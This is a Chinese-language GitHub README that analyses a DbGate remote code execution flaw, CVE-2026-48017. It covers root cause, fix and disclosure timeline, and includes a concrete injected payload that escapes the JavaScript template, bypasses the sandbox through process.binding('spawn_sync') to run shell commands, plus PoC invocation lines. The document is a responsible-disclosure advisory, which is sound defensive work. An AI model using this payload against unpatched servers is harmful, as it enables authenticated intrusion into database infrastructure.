romain-deperne/CVE-2026-48017

GitHub: romain-deperne/CVE-2026-48017

该项目是 DbGate 数据库管理工具中 CVSS 8.8 远程代码执行漏洞(CVE-2026-48017)的详细技术分析、根因说明与概念验证。

Stars: 0 | Forks: 0

# CVE-2026-48017 — 通过 `functionName` 注入在 DbGate 中实现远程代码执行 **严重程度**:高 (CVSS 8.8) **CWE**:CWE-94 — 代码生成控制不当 ('Code Injection') **受影响版本**:`dbgate-api` ≤ 7.1.8(已在 7.1.9 版本中修复) **安全公告**:[GHSA-hv83-ggc4-v385](https://github.com/advisories/GHSA-hv83-ggc4-v385) **NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-48017 **致谢**:Romain Deperne ## 太长不看 `POST /runners/load-reader` endpoint 接收一个 `functionName` 参数,并将其 **直接插入到 JavaScript 模板字符串中**,随后该字符串在一个 forked process 中执行——期间没有进行任何 清理或验证。任何已认证用户(不需要特殊权限)都可以跳出预期的调用,并运行任意 JavaScript,从而在服务器上实现远程代码执行。 forked runner 设置了 `require = null` 作为沙箱,但这可以被轻易绕过: `process.binding("spawn_sync")` 依然可以被调用,并会生成真实的 OS 进程。 ## 发现过程 当时我正在审计 DbGate 的 runner 子系统,以寻找*受保护的*与*不受保护的*代码执行路径之间的差异。`runners.js:292` 处的 `start()` runner 受到了妥善的保护——它调用了 `testStandardPermission('run-shell-script')` 并检查了 `platformInfo.allowShellScripting`。 `loadReader()` 在概念上做着类似的事情(它构建并运行一个 JS 加载器脚本),但 **没有**进行任何此类检查。我追踪了数据流: ``` runners.js:353 loadReader({ functionName, props }) runners.js:366 loaderScriptTemplate(prefix, functionName, ...) runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});` packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization ``` `functionName` 由攻击者控制,并落入被执行的模板字符串中。在它前面唯一的代码是 `dbgateApi.` 前缀,并且它是可以转义绕过的:使用 `toString();` 闭合表达式, 注入 payload,并使用 `//` 注释掉尾部的 `(${props})`,就能生成合法的 JS。 ## 受影响组件 **文件**:`packages/api/src/controllers/runners.js`(`loadReader` → `loaderScriptTemplate`) **文件**:`packages/tools/src/packageTools.ts:33`(`compileShellApiFunctionName`) ``` // packageTools.ts:33 — functionName flows in unsanitized return `dbgateApi.${functionName}`; // runners.js:64 — interpolated into the executed loader template `const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});` ``` 生成(注入)的脚本: ``` const reader = await dbgateApi.toString(); process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... }); dbgateApi.toString//({}); ``` ## 根本原因 编写 `compileShellApiFunctionName()` 的初衷是将短名称转换为完全限定的 API 路径 (`dbgateApi.`),它隐式地信任 `functionName` 是一个标识符。然而,该值 直接来自 HTTP 请求体。因为它被拼接到随后将被 `eval`/forked 的源码中,这种信任假设直接导致了 RCE。`require = null` 沙箱也无济于事——Node 的 内部 `process.binding("spawn_sync")` 可以绕过它。 **修复方案 (7.1.9)**:在将 `functionName` 编译到加载器脚本之前,根据严格的标识符白名单对其进行验证。 ## 概念验证 `poc/rce_loadreader_functionname_injection.py` — 端到端驱动真实的 endpoint。 ``` # 使用现有的 JWT python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 'id > /tmp/pwned' # 或先登录 python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id' ``` 该脚本构建 `functionName` payload,将其发送到 `POST /runners/load-reader`,并且 注入的 `spawn_sync` 调用会在 forked runner 进程中执行该命令。 ## 披露时间线 - 通过 GitHub Security Advisory 私下向维护者报告 - 在 DbGate **7.1.9** 版本中修复 - 安全公告 **GHSA-hv83-ggc4-v385** 于 2026-05-22 发布;分配了 CVE-2026-48017 ## 影响 在 DbGate API 宿主机上实现已认证的 RCE。DbGate 是一款数据库管理 GUI,部署时 通常具有连接内部数据库的广泛网络访问范围——在其上执行代码是 进入数据层的强力跳板。 *已负责任地披露。PoC 在修复发布后公开,仅供防御者和检测工程使用。*
标签:GNU通用公共许可证, MITM代理, Node.js, 数据可视化, 数据库工具, 漏洞分析, 编程工具, 路径探测, 远程代码执行, 逆向工具